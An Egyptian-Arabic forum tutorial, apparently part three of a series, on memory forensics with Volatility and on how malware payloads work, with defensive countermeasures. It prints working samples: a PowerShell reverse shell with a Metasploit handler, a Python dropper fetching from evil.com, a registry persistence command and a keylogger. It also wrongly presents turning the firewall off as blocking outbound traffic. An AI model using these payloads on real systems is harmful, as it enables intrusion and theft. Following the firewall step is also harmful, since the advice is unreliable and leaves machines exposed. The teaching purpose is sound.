Ramy Badraan
مراقب قسم الحماية وانظمة لينكس -مصمم بنرات المنتدى
طـــاقم الإدارة
فريق الدعم لقسم الحماية
نجم الشهر
فريق التصميم
كبار الشخصيات
- إنضم
- 26 أكتوبر 2008
- المشاركات
- 3,115
- مستوى التفاعل
- 6,531
- النقاط
- 3,800
- الإقامة
- مصر
- الموقع الالكتروني
- www.facebook.com
غير متصل
الجزء الثالث: بعنوان لما الفيروسات تبقى شبح! 

في الجزء الأول، اتعلمنا إزاي نحلل الملفات يدويًا، ونفك شفرات البرمجيات الخبيثة وكأننا جواسيس في فيلم أكشن!


وفي الجزء الثاني، خدنا خطوة أكبر، واتعمقنا في أدوات الهندسة العكسية زي Ghidra و IDA Pro
وكمان جربنا نحلل الفيروسات في بيئة معزولة باستخدام الـ Sandbox.


بس في وسط كل ده، فيه فيروسات ما بتسيبش أثر على الهارد، وما بتظهرش حتى في مدير المهام!

ليه؟ لأنها بتلعب في الذاكرة (RAM)، وبتشتغل زي الشبح، تتحرك بين العمليات بدون ما حد يحس بيها!




استعد، لأن اللي جاي مش مجرد تحليل عادي، ده بحث عن الأشباح الإلكترونية!




فحص الذاكرة باستخدام Volatility – فتِّش يا باشا! 

بص يا معلم، الفايروس مش غشيم، ده لاعب قديم وعارف إنك ممكن تمسكه، فبقى عامل زي الحرامي اللي مش بيسيب بصمات!
لا ملفات في الهارد، لا أوامر في الـ Registry، وكل شغله في الـ RAM... يعني إنت لو عملت Restart للجهاز، خلاص راحت عليك!

طب والحل؟ نجيب Volatility ونعصر دماغ الجهاز زي ما بنعصر الليمونة على طبق الكشري!


خطوات تثبيت Volatility على Windows & Linux
أول حاجة: تأكد إن عندك المتطلبات دي
قبل ما ندخل في الجد، لازم نضمن إن جهازك متزبط صح:














يلا نبدأ التثبيت
الخطوة 1: تأكد إن Python عندك متثبت
افتح الـ CMD لو انت ويندوز أو الـ Terminal لو انت لينكساوي ابن ناس 
كود:
python --version
لو طلعلك رقم زي Python 3.x.x يبقى تمام
لو لأ خش حمله من هنا:


كود:
python -m pip install --upgrade pip
الخطوة 2: ننزل Volatility 3

كود:
git clone https://github.com/volatilityfoundation/volatility3.git

كود:
cd volatility3

كود:
pip install -r requirements.txt
الخطوة 3: اختبار التشغيل
عشان نتأكد إن كله شغال تمام، نجرب نشغل الأداة بالأمر ده:
كود:
python vol.py -h
لو ظهرلك سيل من الأوامر والمعلومات يبقى




الخطوة الأولى: ناخد نسخة من الذاكرة (Memory Dump)
عشان نبدأ الشغل، لازم نجيب صورة طبق الأصل من الذاكرة، زي ما بنعمل Screenshot للواتساب قبل ما الحاجة تتشال! 
طريقة سهلة باستخدام Task Manager:
افتح الـ Task Manager بـ Ctrl + Shift + Esc.روح لـ Processes ودور على أي عملية مشبوهة.
كليك يمين عليها واختار Create Dump File.

هتلاقيه في:
كود:
C:\Users\YourName\AppData\Local\Temp\












الخطوة الثانية: نشغل Volatility ونبدأ التفتيش!
بعد ما خدنا نسخة من الذاكرة، نبدأ بقى نفتحها وندور على المصايب اللي مستخبية فيها!
نعرف نظام التشغيل اللي في الـ Dump
أول حاجة نسأل الجهاز: "إنت شغال على ويندوز كام يا نجم؟"
كود:
volatility -f dump.dmp imageinfo
هيدينا حاجة زي كده:
كود:
Suggested Profile(s) : Win7SP1x64, Win10x64_19041
خد البروفايل المناسب، وهنستخدمه بعد كده.

نكشف العمليات الشغالة (pslist)
دلوقتي بقى نفتح ونشوف إيه العمليات اللي شغالة، زي دكتور بيفتح أشعة المريض. 

كود:
volatility -f dump.dmp --profile=Win7SP1x64 pslist
لو لقيت حاجات زي:




نكشف العمليات المستخبية (psscan)
فيه برامج بتشتغل بس مش عايزة تظهر في الـ Task Manager.. بنفضحها كده:
كود:
volatility -f dump.dmp --profile=Win7SP1x64 psscan
ممكن تلاقي العملية شغالة، بس مش موجودة في الأمر الأول.. معناها إيه؟ معناها حد عامل فيها نينجا!


نعرف العمليات اللي تم التلاعب فيها (malfind)
فيه برمجيات خبيثة بتدخل نفسها جوه عمليات سليمة، زي واحد بيدخل حفلة من غير دعوة وبيمثل إنه صاحب المكان. 
كود:
volatility -f dump.dmp --profile=Win7SP1x64 malfind
لو لقيت:
كود:
Process: explorer.exe Pid: 1234
Injected code at 0x7f8eab000
يبقى حد لعب في explorer.exe وحط جواه كود مشبوه.


نشوف البرامج اللي بتتصل بالإنترنت (netscan)
دلوقتي بقى نشوف إيه اللي شغال على الإنترنت، ومين بيبعت بيانات في الضلمة. 
كود:
volatility -f dump.dmp --profile=Win7SP1x64 netscan
لو طلعلك:
svchost.exe -> 192.168.1.50:4444 (ESTABLISHED)
يبقى مبروك، عندك Reverse Shell وواحد بيتفرج عليك لايف!


نطلع الملفات اللي البرمجية كانت فاتحاها (filescan)
بنقول للجهاز: "ورينا إيه الملفات اللي البرامج دي كانت بتفتحها؟"
كود:
volatility -f dump.dmp --profile=Win7SP1x64 filescan
ممكن تلاقي حاجات زي:
كود:
C:\Users\Public\evil.exe
C:\Windows\Temp\malware.dll
لو لقيت حاجة غريبة، يبقى 99% هو ده الفيروس!


دلوقتي عرفنا:




يعنى من الآخر!





الحلول العملية لفحص الذاكرة واكتشاف البرمجيات الخبيثة! 

دلوقتي عرفنا إن البرمجيات الخبيثة مش بتسيب أثر واضح على الهارد
وبدل كده بتفضل شغالة في الرام (الذاكرة العشوائية) زي العفريت!

وعلشان نمسكها لازم نكون شغالين بذكاء ونستخدم أدوات احترافية!













إزاي تكتشف البرمجيات الخبيثة في الرام؟!
الهاكر ممكن يكون ذكي، بس إحنا أذكى!تعالي نشوف إزاي نكشف أي عملية خبيثة في الذاكرة قبل ما تخدعنا.
مراقبة العمليات المشبوهة (Process Monitoring)
أول خطوة هي إننا نتابع العمليات اللي شغالة على الجهاز، ونشوف هل في حاجة غريبة؟ 

افتح مدير المهام (Task Manager) وتأكد من العمليات الغريبة!
اضغط Ctrl + Shift + Esc وافتح تبويب Processes.
دور على أي عملية استهلاكها عالي بشكل غريب أو مش عارف مصدرها.
لو لقيت حاجة مش مألوفة، اضغط Right Click → Open File Location
لو الملف طلع موجود في C:\Windows\System32 أو Program Files، غالبًا هو سليم.
لو طلع في مكان غريب زي AppData\Roaming أو Temp، يبقى فيه إنّ!

استخدم أمر PowerShell عشان تجيب العمليات النشطة بالأسماء الكاملة!
كود:
Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 10













افحص العمليات المشبوهة باستخدام VirusTotal مباشرة من CMD!
استخدم tasklist لجلب كل العمليات:
كود:
tasklist /v

خد اسم العملية المشبوهة وابحث عنها في VirusTotal (https://www.virustotal.com) علشان تشوف إذا كان فيروس ولا لا.












تحليل الذاكرة باستخدام Volatility
برنامج Volatility هو واحد من أقوى الأدوات لفحص الذاكرة وكشف أي عمليات خبيثة شغالة فيها! 


خد لقطة من الذاكرة (Memory Dump)
عشان نقدر نفحص الذاكرة، لازم الأول ناخد لقطة كاملة منها. بنستخدم أداة DumpIt:حمل أداة DumpIt.exe من الإنترنت.
شغلها كـ Administrator وهتلاقيها عملت ملف .dmp فيه كل بيانات الرام.
استخدم Volatility عشان تحلل البيانات دي.

استخدم Volatility لاكتشاف الفيروسات المخفية
بعد ما ناخد لقطة الذاكرة، هنستخدم Volatility لتحليلها:
كود:
volatility -f memory.dmp --profile=Win10x64_18362 pslist
هنا هتشوف كل العمليات اللي كانت شغالة أثناء أخذ لقطة الذاكرة، لو لقيت حاجة مش مألوفة، ابدأ تحللها أكتر!

كود:
volatility -f memory.dmp --profile=Win10x64_18362 psscan
الأمر ده بيعرض العمليات المخفية اللي مش هتظهر في Task Manager، وغالبًا هنا هتلاقي الفيروسات الخطيرة!


كود:
volatility -f memory.dmp --profile=Win10x64_18362 dlllist -p 1234
بدّل 1234 برقم العملية المشبوهة اللي لقيتها في الأوامر السابقة، وهتشوف كل الملفات اللي شغالة جواها.

كود:
volatility -f memory.dmp --profile=Win10x64_18362 procdump -p 1234 -D output_folder
كده هتقدر تاخد نسخة من الملف وتشغله في Sandbox (بيئة وهمية) علشان تشوف إذا كان فيروس ولا لا.

مراقبة الاتصالات المشبوهة في الذاكرة
لو الفيروس شغال وبيعمل اتصال مع سيرفر الهاكر، لازم نكشفه قبل ما يسرب بياناتنا! 

استخدم netstat عشان تجيب كل الاتصالات اللي شغالة في الوقت الحالي:
كود:
netstat -ano | findstr ESTABLISHED
استخدم Volatility لجلب الاتصالات المشبوهة اللي كانت شغالة وقت الـ Memory Dump:
كود:
volatility -f memory.dmp --profile=Win10x64_18362 netscan
لو شاكك إن جهازك بيعمل اتصالات خفية، اعمل حظر مؤقت لكل الاتصالات الصادرة:
كود:
netsh advfirewall set allprofiles state off
ده هيمنع الجهاز من إرسال أي بيانات لحد ما تخلص الفحص.

تنظيف الذاكرة وإزالة العمليات المشبوهة
بعد ما نكتشف البرمجيات الخبيثة، لازم نمسحها بطريقة احترافية عشان نضمن إنها متقومش تاني!
لو لقيت عملية مشبوهة، اقتلها فورًا باستخدام:
كود:
taskkill /F /PID 1234
امسح أي ملفات مرتبطة بيها:
كود:
del /F /Q C:\path\to\malware.exe
لو مش عارف مكان الملف، استخدم:
كود:
where /R C:\ malware.exe
لو الفيروس كان بيشتغل من الريجستري، امسح الإدخال بتاعه:
كود:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "VirusName" /f

خلاصة الكلام يا معلم!




نصيحة على الماشي:
لو اكتشفت فايروس، متقفش عند التحليل بس! جرب ترفع الـ dump على VirusTotal وشوف مين تاني شافه قبلك. 

البايلود – الفيروس بيشتغل إزاي؟! 

بص يا معلم، تخيل إن الفيروس عبارة عن حرامي محترف، مش بيدخل يسرق كده وخلاص، لأ.. عنده خطة!



والنهاردة، هنركز على المرحلة التانية.. إزاي الحرامي بعد ما دخل، بيبدأ يشتغل!












أنواع البايلود – الفيروس عنده خطط كتير!
الفيروس مش بيجي في شكل واحد، عنده كذا طريقة يشتغل بيها، زي لاعب محترف عنده "تكتيكات" مختلفة! 
بايلود مباشر (Reverse Shell)
ده النوع اللي بمجرد ما الفيروس يتشغل، يفتحلك باب خلفي، يخليك تتحكم في الجهاز عن بعد، وكأنك قاعد عليه!
على جهاز المهاجم، بنعمل لوج للاتصال:
كود:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
بعد كده، على جهاز الضحية، نشغل الكود ده (وده البايلود):
كود:
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
}
$client.Close()

ده سكريبت باورشيل بيخلي الضحية تفتح اتصال بالهاكر، وأي أمر يكتبه الهاكر في Meterpreter يتنفذ على جهاز الضحية!












بايلود ينزل ملف ضار (Dropper)
في النوع ده، البايلود بيعمل حاجة بسيطة جدًا.. بينزل فيروس تاني!يعني بدل ما يكون الفيروس ضخم، بيكون خفيف وسريع، ومهمته الوحيدة إنه ينزل البرنامج الأساسي اللي بيعمل التخريب الحقيقي!


كود:
import requests
url = "http://evil.com/malware.exe"
r = requests.get(url, allow_redirects=True)
open("C:\\Users\\Public\\malware.exe", 'wb').write(r.content)

السكريبت ده بينزل الفايروس من موقع evil.com
يحفظه في C:\Users\Public\malware.exe
بمجرد ما الضحية يفتحه، الباقي تاريخ!












بايلود يغير في الـ Registry
فيه فايروسات بدل ما تحط ملفات في الجهاز، بتلعب في الـ Registry عشان تضمن إنها تشتغل كل مرة الجهاز يفتح! 

كود:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "EvilApp" /t REG_SZ /d "C:\Users\Public\malware.exe" /f

بيضيف مفتاح جديد في الريجستري
أي حد يفتح الجهاز، الفيروس يشتغل معاه تلقائي!












بايلود يسرق البيانات (Keylogger)
بعض الفيروسات شغلتها الأساسية تسجيل كل زرار بتدوس عليه، عشان يسرق الباسوردات والمحادثات! 

كود:
from pynput import keyboard
def on_press(key):
with open("keys.txt", "a") as file:
try:
file.write(f'{key.char}')
except AttributeError:
file.write(f'[{key}]')
listener = keyboard.Listener(on_press=on_press)
listener.start()

كل زرار بتدوس عليه بيتسجل في ملف keys.txt
كل بياناتك راحت للهاكر في أقل من ثانية!












الملخص يا كبير!


Reverse Shell: يخليك تتحكم عن بعد
Dropper: ينزل فايروس تاني
Registry Attack: يضمن إن الفايروس يشتغل كل مرة
Keylogger: يسرق كل زرار بتدوس عليه!


نصيحة على السريع:
عايز تحمي نفسك؟ 
ماتفتحش أي ملف غريب حتى لو من صاحبك!
شغل الـ Windows Defender ولا تقفله!
استخدم Sandbox أو جهاز افتراضي لو هتشغل حاجات مش موثوقة.

كيف تحمي نفسك من البايلود؟ الحلول والأساليب المضادة!

الهاكر ممكن يكون شاطر، لكن إنت تقدر تكون أشطر!


تعالى نشوف إزاي تقفل الباب في وش أي فايروس يحاول يدخل جهازك!


الحماية من Reverse Shell
بما إن النوع ده بيفتح اتصال بين جهازك والهاكر، يبقى الحل الطبيعي إننا نقفل الاتصالات المشبوهة! 

افصل الإنترنت أول ما تحس بحاجة غريبة! (زي بطء مفاجئ أو نوافذ غريبة).
راقب الاتصالات المفتوحة باستخدام أوامر الشبكة:
في ويندوز، افتح الـ CMD واكتب:
كود:
netstat -ano | findstr :4444
لو لقيت اتصال مشبوه، اعرف الـ PID بتاعه، واقفله بـ:
كود:
taskkill /PID 1234 /F
في لينكس، استخدم:
كود:
lsof -i :4444
kill -9 <PID>
استخدم Firewall لمنع أي اتصال مش مألوف:
في ويندوز، اعمل Rule تمنع أي اتصال غير معروف:
كود:
netsh advfirewall firewall add rule name="Block Reverse Shell" dir=out action=block protocol=TCP remoteport=4444
لو شاكك إن جهازك مُصاب، افحصه بـ Wireshark أو TCPView عشان تشوف أي اتصال غريب شغال.

الحماية من الـ Dropper (تنزيل الملفات الخبيثة)
الفايروسات اللي بتنزل فايروسات تانية بتعتمد على إنك مش واخد بالك، فالحل إنك تكون صاحي وواعي! 


شغل الـ Windows Defender وماتقفلوش أبداً!
لو شاكك في ملف، افحصه قبل ما تشغله:
استخدم VirusTotal
استخدم برامج الحماية اللي بتراقب النظام في الوقت الحقيقي (مثل Malwarebytes أو Kaspersky أو Norton ).
اقفل ميزة تشغيل السكريبتات العشوائية في باورشيل:
كود:
Set-ExecutionPolicy Restricted

الحماية من الهجمات على الـ Registry

الهجمات اللي بتعدل في الـ Registry بتخلي الفايروس يشتغل مع كل تشغيل للجهاز، وده شيء خطر جداً!


افحص الريجستري دورياً وشوف أي إدخالات مشبوهة:
افتح Run (Win + R) واكتب regedit.
روح لـ:
كود:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
استخدم السكريبت دة لمسح أي إدخالات ضارة:
كود:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "EvilApp" /f
امنع أي تعديل غير مصرح في الريجستري باستخدام Group Policy:
افتح gpedit.msc
روح لـ:
كود:
User Configuration -> Administrative Templates -> System
كده أي فايروس هيحاول يعدل الريجستري، هياكل أكبر خازوق!



الحماية من Keyloggers (تسجيل لوحة المفاتيح)
فايروسات الـ Keylogger خطيرة لأنها بتسرق كل حرف بتكتبه، بما فيهم كلمات السر والمحادثات! 

استخدم لوحة مفاتيح على الشاشة لكتابة الباسوردات:
في ويندوز، افتح On-Screen Keyboard (Win + R ثم osk).
ده بيمنع أي كيلوجر من تسجيل ضغطات الكيبورد الحقيقية!
استخدم برامج مضادة للـ Keyloggers مثل SpyShelter أو Zemana AntiLogger.
افحص العمليات اللي شغالة في الخلفية، لو لقيت حاجة غريبة، اقفلها فورًا:
في ويندوز، افتح الـ Task Manager (Ctrl + Shift + Esc) وشوف أي برنامج مش مألوف.
استخدم:
كود:
tasklist /v | findstr "exe"
لو لقيت حاجة مشبوهة، اقفلها بـ:
كود:
taskkill /F /IM malware.exe
خلاصة الكلام يا معلم!



احنا هنا مش بنتكلم عن نهاية، احنا بنتكلم عن مرحلة جديدة من الاحتراف!

دلوقتي عندك القدرة على تحليل العمليات اللي شغالة جوه الذاكرة، وكشف أي كود خبيث متخفي!
بقيت عارف إزاي البايلودات بتتحقن جوه البرامج، وإزاي تكتشفها قبل ما تشتغل وتخرب الدنيا!

لكن استنى... لسه اللعبة ما خلصتش!


في الجزء الرابع، هنخش على مرحلة الهروب من الحماية (Evasion Techniques)
وهنشوف إزاي الفيروسات بتخدع برامج الأمن السيبراني وبتفضل شغالة تحت الرادار!
هنعرف أخطر الحيل اللي بيستخدمها الهاكرز، وهنجربها بنفسنا عشان نقدر نحمي أنظمتنا ضدها!







